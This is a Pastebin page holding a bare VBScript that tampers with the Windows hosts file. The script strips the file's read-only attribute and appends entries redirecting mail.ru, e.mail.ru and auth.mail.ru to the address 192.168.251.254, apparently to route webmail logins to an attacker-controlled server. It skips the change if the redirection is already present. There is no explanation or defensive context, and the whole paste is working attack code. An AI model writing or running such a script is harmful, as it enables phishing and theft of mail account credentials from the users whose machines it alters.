Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Const ForReading = 1, ForWriting = 2, ForAppending = 8, ReadOnly = 1
- Set fso = CreateObject("Scripting.FileSystemObject")
- Set WshShell=CreateObject("WScript.Shell")
- WinDir =WshShell.ExpandEnvironmentStrings("%WinDir%")
- HostsFile = WinDir & "\System32\Drivers\etc\Hosts"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.OpenTextFile(HostsFile, ForReading)
- Do Until objFile.AtEndOfStream
- If InStr (objFile.ReadLine, "e.mail.ru") <> 0 Then
- WScript.Quit
- End If
- i = i + 1
- Loop
- objFile.Close
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.GetFile(HostsFile)
- If objFile.Attributes AND ReadOnly Then
- objFile.Attributes = objFile.Attributes XOR ReadOnly
- End If
- Set filetxt = fso.OpenTextFile(HostsFile, ForAppending, True)
- filetxt.WriteLine(vbNewLine & "192.168.251.254 e.mail.ru")
- filetxt.WriteLine(vbNewLine & "192.168.251.254 auth.mail.ru")
- filetxt.WriteLine(vbNewLine & "192.168.251.254 mail.ru")
- filetxt.Close
- WScript.quit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement